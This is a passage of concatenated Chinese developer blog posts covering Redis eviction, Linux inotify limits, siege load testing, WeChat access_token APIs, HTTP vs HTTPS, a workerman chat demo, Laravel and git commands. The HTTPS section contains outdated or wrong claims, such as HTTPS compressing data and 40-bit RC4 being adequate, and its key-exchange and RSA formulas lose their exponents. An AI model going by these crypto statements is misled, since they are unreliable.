<= 60 end 和 begin DECLARE @local_variable table (FID int identity(1,1),ReferenceID varchar(20)) insert into @local_variable (ReferenceID) select top 100000 ReferenceID from chineseresume order by updatedate select * from @local_variable where Fid > 40 and fid <= 60 end 的不同 begin create table #temp (FID int identity(1,1),ReferenceID varchar(20)) insert into #temp (ReferenceID) select top 100000 ReferenceID from chineseresume order by updatedate select * from #temp where Fid > 40 and fid <= 60 drop table #temp end
Hello,大家好。我是公众号 “八点半技术站” 的创作者 - Bruce.D。今天是周二(2020-06-17),分享一句谚语 “读书有三到,心到口到眼到” 。分享给大家的是 「缓存服务 模块」- 理解Redis的内存回收机制和过期淘汰策略。欢迎热爱 IT编程的各位精英,欢迎进入wechat技术群(底部有二维码)一起交流成长。花几分钟时间去浏览 redis 技术干货,或许对你有用!!!底部有本篇文章的思维导图 ,供大家收藏使用~~~编辑01今天写这篇文章的灵感,来自之前一位好友投稿的面试题:redis 的过期策略有哪些?内存淘汰机制有哪些?我将工作中遇到的问题分析,整理成一篇文章提供大家学习,希望对大家有所帮助。我们从一次广告数据问题说起:一个依赖定时器任务的生成接口数据,有时候会有,有时候没有。然后我们分析应该是redis过期删除策略导致。排查过程中,因为手动执行定时器,set数据没有报错,但是set后不生效。这就狠尴尬。发现,set 没有报错,但是 set 完毕在查的情况下,发现没有数据。开始怀疑 redis 的过期策略(准确来说应该是 redis 的内存回收机制中的数据淘汰策略触发内存上限淘汰数据),导致新加入的的redis的数据都被丢弃了。最终发现故障是因为配置问题,导致数据错误。(有时候也会因为内存满)在这里我主要希望大家明白,我们遇到类似问题,如何有效证明正确性,以及什么情况下怀疑内存回收才是合理,所以内存回收机制的一系列问题,你也要知道了解。02Q:为什么需要内存回收?A:第一种:在redis 中,set 指令可以指定 key 的过期时间,当过期时间达到以后,key 就会失效。第二种:redis 是基于内存操作的,所有的数据都是保存在内存中,一台机器的内存是很宝贵的。分析:根据以上这俩种,为了保证 redis 提供有效可靠的服务,redis 需要一种机制清理不常用的、无效的、多余的数据,失效后的数据需要及时清理,这就需要内存回收。03redis 的内存回收主要分为:过期删除策略 与 内存淘汰策略 俩部分。过期删除策略:删除到达过期时间的 key 。(过期删除策略原理 - 结合文章,百度自行搜索)第一种:定时删除对于每一个设置了过期时间的 key 都会创建一个定时器,一旦达到过期时间都会删除。这种方式立即清除过期数据,对内存比较好,但是有缺点是:占用了大量 CPU 的资源去处理过期数据,会影响 redis 的吞吐量 和 响应时间。 第二种:惰性删除当访问一个 key 的时候,才会判断该 key 是否过期,如果过期就删除。该方式能最大限度节省 CPU 的资源。但是对内存不太好,有一种比较极端的情况:出现大量的过期 key 没有被再次访问,因为不会被清除,导致占用了大量的内存。第三种:定期删除每隔一段时间,扫描redis 中过期key 的字典,并清除部分过期的key。这种方式是前俩种一种折中方法。不同的情况下,调整定时扫描时间间隔,让CPU 与 内存达到最优。内存淘汰策略:redis 内存淘汰策略是指达到maxmemory极限时,使用某种算法来决定来清理哪些数据,以保证新数据存入。(原理同上)redis的内存淘汰机制分为:(1)noeviction:当内存不足以容纳新写入数据时,新写入操作会报错。(2)allkeys-lru:当内存不足以容纳新写入数据时,在键空间中,移除最近最少使用的 key(这个是最常用的)。(3)allkeys-random:当内存不足以容纳新写入数据时,在键空间中,随机移除某个 key。(4)volatile-lru:当内存不足以容纳新写入数据时,在设置了过期时间的键空间中,移除最近最少使用的 key。(5)volatile-random:当内存不足以容纳新写入数据时,在设置了过期时间的键空间中,随机移除某个 key。(6)volatile-ttl:当内存不足以容纳新写入数据时,在设置了过期时间的键空间中,有更早过期时间的 key 优先移除。04总结:看完这些,我们得知道一点,如何证明故障不是由于内存回收机制引起的?根据上述分析,set 没有报错,但是不生效,那么就2种情况:(1)设置过期时间过短(2)内存超过最大限制,且设置的是noeviction或者allkeys-random。因此,在遇到这种情况,首先看set的时候是否加了过期时间,且过期时间是否合理,如果过期时间较短,那么应该检查一下设计是否合理。如果过期时间没问题,那就需要查看Redis的内存使用率,查看Redis的配置文件或者在Redis中使用info命令查看Redis的状态,maxmemory属性查看最大内存值。如果是0,则没有限制,此时是通过total_system_memory限制,对比used_memory与Redis最大内存,查看内存使用率。如果当前的内存使用率较大,那么就需要查看是否有配置最大内存,如果有且内存超了,那么就可以初步判定是内存回收机制导致key设置不成功,还需要查看内存淘汰算法是否noeviction或者allkeys-random.如果是,则可以确认是redis的内存回收机制导致。如果内存没有超,或者内存淘汰算法不是上面的两者,则还需要看看key是否已经过期,通过ttl查看key的存活时间。如果运行了程序,set没有报错,则ttl应该马上更新,否则说明set失败,如果set失败了那么就应该查看操作的程序代码是否正确了。全文思维导图:编辑恭喜你,又读完了一篇文章。在这里,希望你看完的 每篇文章 都能对自己有所提升(哪怕是帮助你再次巩固记忆)。
今天分享一个在Linux中打开了太多文件(Too many open files)的解决方法 这个大家经常操作服务器,应该会碰到这个问题。1、当遇到linux报错说 ...to directory watch: No space left on device ,说明fs.inotify.max_user_watches默认值太小,导致too many open files。2、首先直接 df -H直接去查看磁盘空间是否被沾满3、然后 echo 1048576 > /proc/sys/fs/inotify/max_user_watches4、然后直接进入 vim /etc/sysctl.conf5、在sysctl.conf 中加入:fs.inotify.max_user_watches=1048576-----------------------完毕---------------------- 按照以上执行、便可以,没有多余话。如果更加详细了解,可以找找资料,有人会介绍的很详细。
说道说道 同步与异步有什么区别?前言:在进行网络编程时,我们会经常看到同步、异步、阻塞、非阻塞四种调用方式以及他们的组合。其中同步、异步方式主要是由客户端控制的。首先说一下它们的概念:同步、一种线性执行方式、执行的流程不能跨越。异步、一种并行处理方式,不需要等待一个程序执行完毕,可以执行其他任务。在说说它们的一般应用场景:同步、一般运用在流程较强,比如做登录系统。需要用户名,密码同时验证才可以过关。异步、定时任务、ajax请求之类,在我们程序中通常使用回调函数处理(大白话:我边开会、边看手机)。在说说它们的思想场景:同步、所有操作完成,返回给用户。这样有一个弊端就是,用户在线等待,会给人一种页面卡死不动的感觉。这种情况,用户不能关闭界面,否则迁移程序就中断了。异步、直接将请求放入消息队列,并反馈给用户。相当于系统迁移程序已经启动,我们可以关闭浏览器了,因为程序会自己慢慢写入数据库 ,给用户不会有卡死的感觉。~~~~完毕,这也就是同步以及异步的一个详细区别、你看完这篇文章其他你也不用在看了。
在日常生活中、我们经常要对我们的网站API 进行测试,随着数据的增多。我们要时刻知道,我们网站API的抗压性是否还支撑,我们的API是否还是健壮的。 因此,我给大家推荐一个很实用的压测工具(siege)。推荐这个理由是因为它压测结果清晰明了,能合理可视化让我们知道我们API哪里比较慢。最重要的一点是它操作简单方便、并且我下面教程是我一步一步走完写出来发给大家的。下载地址 : Index of /siege 我用的是siege-4.0.4.tar.gz安装开始: 1. 安装包 上服务器 走你; 2. 解压 安装包 tar -xzvf siege-4.0.4.tar.gz 3. 然后 当然是进目录啦,cd siege-4.0.4.tar.gz 4. 然后 ./configure ,执行就完了 5. 继续 make ,继续执行就完了 6. make install ,执行万就可以用了,就是这么简单。如果中途哪里出错,微信群请教或者百度一一解答。参数:编辑顺便这边我举一个小例子: 接口地址是:http://118.212.149.xx:8080/xx/xx/xx 请求类型 : POST 请求参数 : {“accountId”:”123”,”platform”:”ios”} 请求时间 :10秒 无延迟 请求并发数量 : 200 siege -c 200 -t 10s -b 'http://172.81.208.169:8282/v1/api/ad POST <./postfile.json'返回结果:Transactions:165 hits //总请求次数165次 Availability:100.00 % //成功率100% Elapsed time:9.55 secs //使用时间 Data transferred:0.03 MB //总数据传输 Response time:0.05 secs // 响应时间,显示网络连接的速度 Transaction rate:17.28 trans/sec //平均每秒完成17.28次处理 Throughput:0.00 MB/sec//平均每秒传输数据 Concurrency:0.84 //实际最高并发连接数 Successful transactions:165 //成功请求次数 Failed transactions:0//失败请求次数 Longest transaction:0.12 //每次传输花费最长时间 Shortest transaction:0.02//每次传输花费最短时间如果你们的请求参数是json串的话,需要把请求参数改成 一个以 <./postfile.json 的文件,简单来讲就是 一个后缀是 .json 的文件 还有一个小坑,比如post请求,json串,某些时候需要加请求头,那你 比如看上面参数 -H 后面跟信息,等等一系列。那么get 方式更简单,直接url 参数请求就好。
今天讲的这俩种access_token,看完我这篇文章的时候可以亲手调一下微信第三方API进行验证一下,你就发现确实是那么回事。access_token 是公众号的全局唯一接口调用凭据,公众号调用各接口时都需要使用access_token。 [ 注意:是所有API接口都需要使用 ]首先我们讲讲他们直接的不同之处:有效期:两者有效时间都是 7200s使用范围:通过网页授权获得的access_token,只能获取到对应的微信用户信息,与微信用户是一对一关系;而普通的access_token在有效期内可以使用,可以获取所有用户信息。次数限制:普通access_token每天获取最多次数为2000次;而网页授权的access_token获取次数没有限制。如何利用普通access_token获取用户信息:调用第三方API接口:https://api.weixin.qq.com/cgi-bin/user/info?access_token=ACCESS_TOKEN&openid=OPENID&lang=zh_CN请求方式GET,参数lang表示返回国家地区语言版本。补充:既然通过普通access_token可以获取用户信息,那为什么还要网页授权access_token呢?小编理解是:公众号A想获得受关注用户B的信息,一般来说,A提供一个标识(普通的access_token)给第三方公众平台,说明是自己而不是别的公众号。B提供一个标识,用来标识自己(openid)。这样公众号A就可以获取B用户信息了,但是若公众号C也想获取B信息,而B未关注C。这样很容易造成用户B信息的泄露,所以比较安全的做法是让用户B去决定是否给公众号C权限,来获取自己的私密信息。这个权限就是网页授权的access_token。 因此,通过普通access_token获取用户信息时,如果用户未关注,信息获取就为空。而网页授权access_token的获取,只要用户许可,就可以获得,不论用户是否关注。「 网页授权access_token 」:微信网页授权是通过OAuth2.0机制实现的,在用户授权给公众号后,公众号可以获取到一个网页授权特有的接口调用凭证(网页授权access_token),通过网页授权access_token可以进行授权后接口调用,如获取用户基本信息。「 获取方式 」:在微信公众号开发——微信用户信息获取中对其有过介绍,这里就不再继续说明了。「 普通access_token 」:其他微信接口,需要通过基础支持中的“获取access_token”接口来获取到的普通access_token调用。「 获取方式 」:调用接口https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=APPID&secret=APPSECRET请求方式为GET。参数说明:参数 是否必须 说明grant_type 是 获取access_token填写client_credentialappid 是 第三方用户唯一凭证secret 是 第三方用户唯一凭证密钥,即appsecret返回参数:参数 说明access_token 获取到的凭证expires_in 凭证有效事件,单位:秒「 利用普通access_token获取用户信息 」:在关注者与公众号产生信息交互后,公众号可获得关注者(注意:用此种方法获取用户信息,前提是用户必须关注公众号)的openid(加密后的微信号,每个用户对每个公众号的openid是唯一的)。公众号可通过本接口来根据openid获取用户基本信息,包括昵称、头像、性别、所在城市、语言和关注时间。「 调用接口 」:https://api.weixin.qq.com/cgi-bin/user/info?access_token=ACCESS_TOKEN&openid=OPENID&lang=zh_CN请求方式为GET。参数说明:参数 是否必须 说明access_token 是 调用接口凭证openid 是 普通用户的标识,对当前公众号唯一lang 否 返回国家地区语言版本,zh_CN 简体,zh_TW 繁体,en 英语返回参数:返回参数:可以查看具体微信官方文档。到这里也就整体是讲解完了,小编上面都写得很清楚了,包括请求的url 以及请求参数,返回参数什么的,文字也标识得很清楚。有不知道或者想详细了解朋友,直接可以自己写代码 请求测试一下,让自己更加熟悉通透一下。————————————————WeChat微信群交流「WeChat:gtcarry888」
今日给大家分享一篇 “网络服务” 文章。在这里不知道大家对Http 与 Https 到底了解多少?本篇分别介绍他们的定义、特点、使用场景、区别,包括具体加密算法过程。有喜欢的朋友可以加入底部技术群聊,让我们一起来分享与谈论。 Http是一个属于应用层的面向对象的协议,由于其简捷、快速的方式,适用于分布式超媒体信息系统。 HTTP协议的主要特点可概括如下: 1.支持客户/服务器模式。 2.简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用 的有GET、HEAD、POST。每种方法规定了客户与服务器联系的类型不同。由于HTTP 协议简单,使得HTTP服务器的程序规模小,因而通信速度很快。 3.灵活:HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加 以标记。 4.无连接:无连接的含义是限制每次连接只处理一个请求。服务器处理完客户的请 求,并收到客户的应答后,即断开连接。采用这种方式可以节省传输时间。 5.无状态:HTTP协议是无状态协议。无状态是指协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这样可能导致每次 连接传送的数据量增大。另一方面,在服务器不需要先前信息时它的应答就较快。 Https是什么? 它是一个安全通信通道,它基于HTTP开发,用于在客户计算机和服务器之间交换信息。它使用 SSL 进行信息交换,简单来说它是HTTP的 安全版。它是由Netscape开发并内置于其浏览器中,用于对数据进行压缩和解压操作,并返回网络上传送回的结果。HTTPS实际上应用了Netscape的 SSL 作为HTTP应用层的子层。(HTTPS使用端口443,而不是象HTTP那样使用端口80来和TCP/IP进行通信。)SSL使 用40 位关键字作为RC4流加密算法,这对于商业信息的加密是合适的。HTTPS和SSL支持使用X.509数字认证,如果需要的话用户可以确认发送者是谁。 http 与 https 有什么区别呢? 正常情况下,每次开网页的时候,不管是什么网址,其前面都会出现HTTP字样,比如 “http://www.dtq.com”等等,而有些时候打开如银行等对安全性要求很高的网站的时候其网 址的前缀又会变作“https”,这两个前缀到底是什么意思?有什么作用呢?Http的全称是Hypertext Transfer Protocol Vertion(超文本传输协议) Https的全称是Secure Hypertext Transfer Protocol(安全超文本传输协议)Https是在http协议基础上增加了使用SSL加密传送信息的协议。将自己需要传输的超文本协议通过SSL加密,让明文变成了“黑话” 即使传输的信息被人捕获,捕获的人也没办法知道其实际内容。所以http和https之间的区别就在于其传输的内容是否加密 和 是否是开放性的内容。Https协议需要 CA 申请证书,付费。Http是超文本传输协议,信息是明文传输,https 则是具有安全性的ssl加密传输协议。Http 和 https 使用的是完全不同的连接方式用的端口也不一样,前者是80,后者是443。Http的连接很简单,是无状态的。HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全。 HTTPS解决的问题: 1.信任主机的问题. 采用https 的server 必须从CA 申请一个用于证明服务器用途类型的证书。该证书只有用于对应的 server 的时候,客户端才信任次主机。所以目前所有的银行系统网站,关键部分应用都是 https 的,客户通过信任该证书,从而信任了该主机,其实这样做效率很低,但是银行更侧重安全。 2.通讯过程中的数据的泄密和被窜改 a)一般意义上的https, 就是 server 有一个证书. b) 主要目的是保证server 就是他声称的server. 这个跟第一点一样. c) 服务端和客户端之间的所有通讯,都是加密的. d) 是客户端产生一个对称的密钥,通过server 的证书来交换密钥,一般意义上的握手过程。 e) 加下来所有的信息往来就都是加密的,第三方即使截获,也没有任何意义,因为他没有密钥,当然窜改也就没有什么意义了。 f)少许对客户端有要求的情况下,会要求客户端也必须有一个证书。 g) 这里客户端证书,其实就类似表示个人信息的时候,除了用户名/密码, 还有一个CA 认证过的身份,个人证书一般来说上别人无法模拟的,所有这样能够更深的确认自己的身份。 密钥交换算法 使用对称加密算法时,密钥交换是个大难题,所以Diffie和Hellman提出了著名的Diffie-Hellman密钥交换算法。 Diffie-Hellman密钥交换算法原理: (1)Alice与Bob确定两个大素数n和g,这两个数不用保密 (2)Alice选择另一个大随机数x,并计算A如下:A=gx mod n (3)Alice将A发给Bob (4)Bob 选择另一个大随机数y,并计算B如下:B=gy mod n (5)Bob将B发给Alice (6)计算秘密密钥K1如下:K1=Bx mod n (7)计算秘密密钥K2如下:K2=Ay mod n K1=K2,因此Alice和Bob可以用其进行加解密RSA加密算法是基于这样的数学事实:两个大素数相乘容易,而对得到的乘积求因子则很难。加密过程如下: (1)选择两个大素数P、Q (2)计算N=P*Q (3)选择一个公钥(加密密钥)E,使其不是(P-1)与(Q-1)的因子 (4)选择私钥(解密密钥)D,满足如下条件:(D*E) mod (P-1)(Q-1)=1 (5)加密时,明文PT计算密文CT如下:CT=PTE mod N (6)解密时,从密文CT计算明文PT如下:PT=CTDmodN 这也是SSL中会用一种密钥交换算法。————————————————WeChat微信群交流「WeChat:xzzs730」php web mysql Linux 其他这里是一个实验场,希望给读者呈现一副关于中国互联网编程技术的「清明上河图」。对互联网编程技术感兴趣「WeChat:xzzs730」审核通过,进入我们技术交流问题提问解答群。【每日微信技术分享记录】链接:微信技术分享记录 https://github.com/gtcarry888/WeChat-Sharing-record链接:小程序相关源码 https://github.com/gtcarry888/Source-code链接:互联网编程资源手册 https://github.com/gtcarry888/Idle-it-resources原则:群内禁止鄙视、讽刺等任何初学者,否则直接踢群,禁止任何业余广告推广。
“ workman 是高性能socket服务框架 、底部技术群交流”首先,我在这里声明非常重要一点,观看这篇文章一定要知道,这个实现是一款 workerman+socket+php 制作的一款「简陋web聊天室」,没有任何样式、功能也是很单一(实时通信,群发,下线提醒)。写这个目的为学习workman、swoole的朋友一个简单参考方案。因此无脑键盘,切记~~~workerman是一个高性能的PHP socket 服务器框架,workerman基于PHP多进程以及libevent事件轮询库,PHP开发者只要实现一两个接口,便可以开发出自己的网络应用,例如Rpc服务、聊天室服务器、手机游戏服务器等。workerman的目标是让PHP开发者更容易的开发出基于socket的高性能的应用服务,而不用去了解PHP socket以及PHP多进程细节。workerman本身是一个PHP多进程服务器框架,具有PHP进程管理以及socket通信的模块,所以不依赖php-fpm、nginx或者apache等这些容器便可以独立运行第1步—下载workermanworkerman下载地址:https://www.workerman.net/download第2步—创建目录、以及复制代码将workerman框架用编辑器打开,然后在它同级目录下创建一个php文件,比如index.php,然后将我下面的代码全部复制,粘贴到这个index.php中。<?php use Workerman\Worker; require_once __DIR__ . '/Workerman-master/Autoloader.php'; // 创建一个websocket的Worker监听2000接口 $ws_worker = new Worker("websocket://0.0.0.0:2000"); // 只启动1个进程,这样方便客户端之间传输数据 $ws_worker->count = 1; //模拟登陆,设用户id $global_uid = 0; // 当客户端连上来时分配uid,并保存连接,并通知所有客户端 $ws_worker->onConnect = function ($connection) { global $ws_worker, $global_uid; // 为这个连接分配一个uid $connection->uid = ++$global_uid; }; // 当客户端发送消息过来时,转发给所有人 //这里data☞用户发送过来的数据 $ws_worker->onMessage =function($connection, $data) { global $ws_worker; //循环用户id,并发送信息 foreach($ws_worker->connections as $conn) { //给用户发送信息 $conn->send("用户id[{$connection->uid}] 说: $data"); } }; // 当客户端断开时,广播给所有客户端 $ws_worker->onClose=function($connection) { global $ws_worker; //循环用户id,并发送信息 foreach($ws_worker->connections as $conn) { //给用户发送信息 $conn->send("用户id[{$connection->uid}] 断开链接"); } }; // 运行worker Worker::runAll();第3步—启动socket服务打开cmd到项目的根目录以cli的方式运行PHP文件(注:windows下需要配置php环境变量),启动服务即可。编辑第4步—复制前端代码然后创建一个html页面,将我下面代码在复制到这个html页面中,这里html引入了boot cdn的vue,直接将域名指向创建的html页。<!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <div id="app"> <ul> <li v-for = "v in data">{{v}}</li> </ul> <!--@submit代表表单提交后执行一个叫onsub的方法--> <!--prevent代表阻止表单提交--> <form @submit.prevent = "onSub"> <input type="text" v-model = "content"> <input type="submit" value="提交"> </form> </div> <script src="https://cdn.bootcss.com/vue/2.6.10/vue.common.dev.js"></script> <script> let ws = new WebSocket("ws://127.0.0.1:2000"); let app = new Vue({ el : "#app", data : { data:[], content : '', }, created : function(){//created创建vue实例后执行的第一个方法 //message接收php workman发送过来的数据 ws.onmessage = function (ev) { //将值传入的data数组中 this.data.push(ev.data); }.bind(this); }, methods:{ onSub : function () { //发送给php workman ws.send(this.content); } } }) </script> </body> </html>第5步—开启浏览器浏览然后同时以两个不同的浏览器打开html就可以看到输入的同步信息的效果了。对方关闭当前页面也会提示。(注:cmd窗口不要关闭)编辑编辑————————end————————WeChat微信群交流「WeChat:xzzs730」
Hello,大家好。我是公众号“八点半技术站”的小编-Bruce.D。今天是周四(2020-03-26),俗语还是它 “一日之计在于晨” ,分享给大家的是 「框架 模块」- laravel全局讲解。在这里我会讲解一些大家平时注意不到的知识以及 laravel 框架的核心要点(其余,大家自行官方学习)。如果您点进行来了,希望您可以花费3分钟时间来进行浏览,我认为您如果可以耐心浏览完毕,从中一定可以让你学习到不一样的知识点。01—什么是 laravel Laravel 是 Taylor Otwell 开发的一款基于 PHP 语言的 Web 开源框架,采用了 MVC 的架构模式。由于 Laravel 具备 Rails 敏捷开发等优秀特质,深度集成 PHP 强大的扩展包(Composer)生态,让 Laravel 在发布之后的短短几年时间得到了极其迅猛的发展。下面 我分享一张 图片,此图是goole提供,laravel 在过去七年成长速度,在 php 框架自 有史以来也是最快的。编辑02—laravel 有哪些版本以下分别是 laravel 版本对应 发布日期 与 php版本 要求。编辑03—路由laravel 的路由也是自身框架的一个特征点,它的路由样式用法丰富且又简洁明了。让开发者甚是喜欢。接下来讲解的每个模块,都是为了刚接触 laravel 框架的开发者 更容易搞懂 laravel 全局核心要点。以及方便熟悉laravel 的开发者进行参考。1. 路由器允许响应任何 HTTP 请求的路由Route::get($uri, $callback); Route::post($uri, $callback); Route::put($uri, $callback); Route::patch($uri, $callback); Route::delete($uri, $callback); Route::options($uri, $callback);2. 有时候一个响应多个 Http 请求,这时候使用 match 方法,也可以使用any 方法,any 方法可以实现响应所有 HTTP 请求的路由。Route::match(['get', 'post'], '/', function () { //支持两种方法 }); Route::any('foo', function () { //可以接收所有的方法 });3. 访问控制(节流)Laravel 包含了一个 middleware 用于控制应用程序对路由的访问。如果想要使用, 请将 throttle 中间件分配给一个路由或者一个路由组。throttle 中间件会接收两个参数,这两个参数决定了在给定的分钟数内可以进行的最大请求数。例如,让我们指定一个经过身份验证并且用户每分钟访问频率不超过 60 次的路由组:Route::middleware('auth:api', 'throttle:60,1')->group(function () { Route::get('/user', function () { // }); }); 4. 路由缓存/清理(注:基于闭包的路由无法被缓存。要使用路由缓存,你需要将代码从闭包转移到控制器类中)如果您的应用程序只使用了基于控制器的路由,那么您应该利用 Laravel 的路由缓存。路由缓存会大大减少注册所有路由所需的时间。在某些情况下,路由注册的速度甚至能快上 100 倍。要生成路由缓存,只需执行 artisan 命令php artisan route:cache运行此命令后,将在每个请求上加载缓存的路由文件。记住,如果添加了任何新的路由,则需要重新生成新的路由缓存。因此,您应该在项目部署的时候运行 route:cache 命令。您可以使用 route:clear 命令来清除路由缓存:php artisan route:clear04—中间件laravel 的中间件想必大家不会那么陌生吧。它自带了一些中间件。如果大家想具体知道 laravel 具体启动哪些中间件,我们是可以通过 app\Http\Kernel.php 文件查看的。对于以\App\Http\Middleware\ 头的中间件(位于 app/Http/Middleware 目录)是我们可以对其行为进行定制的中间件。下面我也会讲一些中间件,介绍它的项目文件、地址、以及作用,方便大家查找参考。(1)Authenticate 中间件源文件:app\Http\Middleware\Http\Middleware\Authenticate.php作用:用户身份验证。可修改 redirectTo 方法,返回未经身份验证的用户应该重定向到的路径。(2)CheckForMaintenanceMode 中间件源文件:app\Http\Middleware\CheckForMaintenanceMode.php作用:检测项目是否处于 维护模式。可通过 $except 数组属性设置在维护模式下仍能访问的网址。(3)EncryptCookies 中间件源文件:app\Http\Middleware\EncryptCookies.php作用:对 Cookie 进行加解密处理与验证。可通过 $except 数组属性设置不做加密处理的 cookie。(4)RedirectIfAuthenticated 中间件源文件:app\Http\Middleware\RedirectIfAuthenticated.php作用:当请求页是 注册、登录、忘记密码 时,检测用户是否已经登录,如果已经登录,那么就重定向到首页,如果没有就打开相应界面。可以在 handle 方法中定制重定向到的路径。(5)TrimStrings 中间件源文件:app\Http\Middleware\TrimStrings.php作用:对请求参数内容进行 前后空白字符清理。可通过 $except 数组属性设置不做处理的参数。(6)TrustProxies 中间件源文件:app\Http\Middleware\TrustProxies.php作用:配置可信代理。可通过 $proxies 属性设置可信代理列表,$headers 属性设置用来检测代理的 HTTP 头字段。(7)VerifyCsrfToken 中间件源文件:app\Http\Middleware\VerifyCsrfToken.php作用:验证请求里的令牌是否与存储在会话中令牌匹配。可通过 $except 数组属性设置不做 CSRF 验证的网址。05—laravel 迁移/队列1. 迁移 可以利用 raw() 语句来执行原生 SQL :$table->timestamp('created_at')->default(DB::raw('CURRENT_TIMESTAMP'));以上这种用法适用于 Laravel 官方支持的所有数据库驱动器。自 Laravel 5.1.25 以后,可以使用 useCurrent() ,如下:$table->timestamp('created_at')->useCurrent();2. 队列Laravel 队列为不同的后台队列服务提供统一的 API,例如 Beanstalk,Amazon SQS,Redis,甚至其他基于关系型数据库的队列。队列配置文件存放在 config/queue.php 。每一种队列驱动的配置都可以在该文件中找到,包括数据库,Beanstalkd ,Amazon SQS,Redis,以及同步(本地使用)驱动。其中还包含了一个 null 队列驱动用于那些放弃队列的任务。(因 laravel 队列系统内容过多,这里只为参考者抛砖引玉,详细自行goole)06—laravel 核心服务容器Laravel 的核心就是一个 IoC 容器,根据文档,称其为 “服务容器”,顾名思义,该容器提供了整个框架中需要的一系列服务。Laravel 服务容器是用于管理类的依赖和执行依赖注入的工具。依赖注入这个花俏名词实质上是指:类的依赖项通过构造函数,或者某些情况下通过「setter」方法「注入」到类中。绑定基础绑定一个单例可以在 App\Providers\AppServiceProvider 中的 register 方法中注册。singleton 方法将类或接口绑定到只解析一次的容器中。一旦单例绑定被解析,相同的对象实例会在随后的调用中返回到容器中:$this->app->singleton('HelpSpot\API', function ($app) { return new HelpSpot\API($app->make('HttpClient')); })具体资料可参考下方两个链接:服务容器-1 :https://learnku.com/docs/laravel/5.5/container/1289服务容器-2 :https://www.insp.top/learn-laravel-container【问:为什么这个 "服务容器" 会放参考链接呢?】【答:“服务容器” 这是 laravel 核心特征】————————end————————
Hello,大家好。我是公众号“八点半技术站”的小编-Bruce.D。今天是周三(2020-04-08),分享一句谚语 “一日无二晨,时过不再临” 。分享给大家的是 「工具 模块」- git 部署、及命令。在这里,大家可别跟我抬杠说我就用编辑器自带git工具,不手动用git 命令什么一系列,没必要。我分享的技术点,是给不熟悉使用 git 的人,希望可以通过此篇文章以后完全独立部署git 以及运用git。作为今天的你,如果还不会使用git,确实说不过去,那么就仔细阅读阅读吧。01—Git 部署流程在这里,我会按照实际公司开发操作步法,讲解我们如何操作 master 这个分支,具体拆分讲解给大家。第一步: 首先我们需要准备一些东西 ,有 git 安装包, 账号。git地址下载:https://git-scm.com/downloads第二步: 创建一个文件夹mkdir 文件夹名称 然后将这个文件夹纳入版本库控制git init第三步: 然后创建一个文件touch readme.txt 将这个文件纳入版本库git add readme.txt 第四步: 然后将这个文件提交到暂存区git commit -m "注释" 接下来我们把我们需要版本控制的文件上传到我们总仓库 GitHub ,这里呢需要对我们的github和我们本地电脑进行连接。第五步: 首先,在本地做好链接的配置git config --global user.name "你的用户名" git config --global user.email "你的邮箱号"第六步: 然后需要我们生成一个密钥完成链接 生成SSH密钥过程:1.查看是否已经有了ssh密钥:cd ~/.ssh 如果没有密钥则不会有此文件夹,有则备份删除2.生存密钥:ssh-keygen -t rsa -C “xxx@gmail.com” 按3个回车,密码为空。这样我们的电脑的 user 目录下生成了一个.ssh文件夹 里边有两个文件 分别是公钥和私钥。第七步:打开公钥 复制然后登陆github 点击右上角的 logo 选择 setting 进入设置页面选择ssh key 添加这样 本地电脑和github 就建立了连接第八步:然后我们要把本地的文件 提交到线上git remote add origin 你的版本库的地址第九步:然后提交git push -u origin master此外 如果对文件有操作 重复上边的命令这样时间文件的提交了第十步:下载 选好文件夹 在选好的文件夹里执行命令git clone 你的版本库地址这样整体的一套master分支 的操作就完成了。如果哪里还是不太明白或者有其他疑问,那么加入底部 wechat 技术群聊,直接提问你的问题。02—Git 常用命令汇总这里讲解的是,我们日常用的一些命令,别问我为什么喜欢用命令而不用工具,对于我来说,命令方便简洁,处理问题也迅速。每个人风格问题,与个人技术水平无关。切勿抬杠......# 配置用户名 git config --global user.name "xxx" # 配置邮件 git config --global user.email "xxx@xxx.com" # clone远程仓库 git clone git+ssh://git@22.2.2.2.git # 查看当前版本状态 git status # 添加xyz文件至 git add xyz # 增加当前子目录下所有更改过的文件至index git add . # 提交 git commit -m 'xxx' # 合并上一次提交(用于反复修改) git commit --amend -m 'xxx' # 将add和commit合为一步 git commit -am 'xxx' # 删除index中的文件 git rm xxx # 递归删除 git rm -r * # 显示提交日志 git log # 显示1行日志 -n为n行 git log -1 # 显示提交日志及相关变动文件 git log --stat # 显示某个提交的详细内容 git show dfb02e6e4f2f7b573337763e5c001 # 显示HEAD提交日志 git show HEAD # 显示HEAD的父(上一个版本)的提交日志 # ^^为上两个版本 ^5为上5个版本 git show HEAD^ # 显示已存在的tag git tag # 显示v2.0的日志及详细内容 git show v2.0 # 显示所有未添加至 git diff # 显示所有已添加 git diff --cached # 比较与上一个版本的差异 git diff HEAD^ # 比较远程分支master上有本地分支master上没有的 git diff origin/master..master # 增加远程定义(用于push/pull/fetch) git remote add origin git+ssh://git@12.2.2.1.git # 显示本地分支 git branch # 显示包含提交50089的分支 git branch --contains 50089 # 显示所有分支 git branch -a # 显示所有已合并到当前分支的分支 git branch --merged # 显示所有未合并到当前分支的分支 git branch --no-merged # 本地分支改名 git branch -m master master_copy # 从当前分支创建新分支master_copy并检出 git checkout -b master master_copy # 切换版本 git checkout dev # 合并远程master分支至当前分支 git merge origin/master # 合并提交ff44785404a8e的修改 git cherry-pick ff44785404a8e # 将当前分支push到远程master分支 git push origin master # 删除远程仓库的hotfixes/BJVEP933分支 git push origin :hotfixes/BJVEP933 # 获取所有远程分支(不更新本地分支,另需merge) git fetch # 获取远程分支master并merge到当前分支 git pull origin master # 重命名文件README为README2 git mv README README2 # 将当前版本重置为HEAD(通常用于merge失败回退) git reset --hard HEAD # 删除分支master/dev(本分支修改已合并到其他分支) git branch -d master/dev # 强制删除分支hotfixes/BJVEP933 git branch -D hotfixes/BJVEP933 # 图示当前分支历史 git show-branch # 显示提交历史对应的文件修改 git whatchanged # 撤销提交dfb02e6e4f2f7b573337763e5c001380 git revert dfb02e6e4f2f7b573337763e5c001380 # 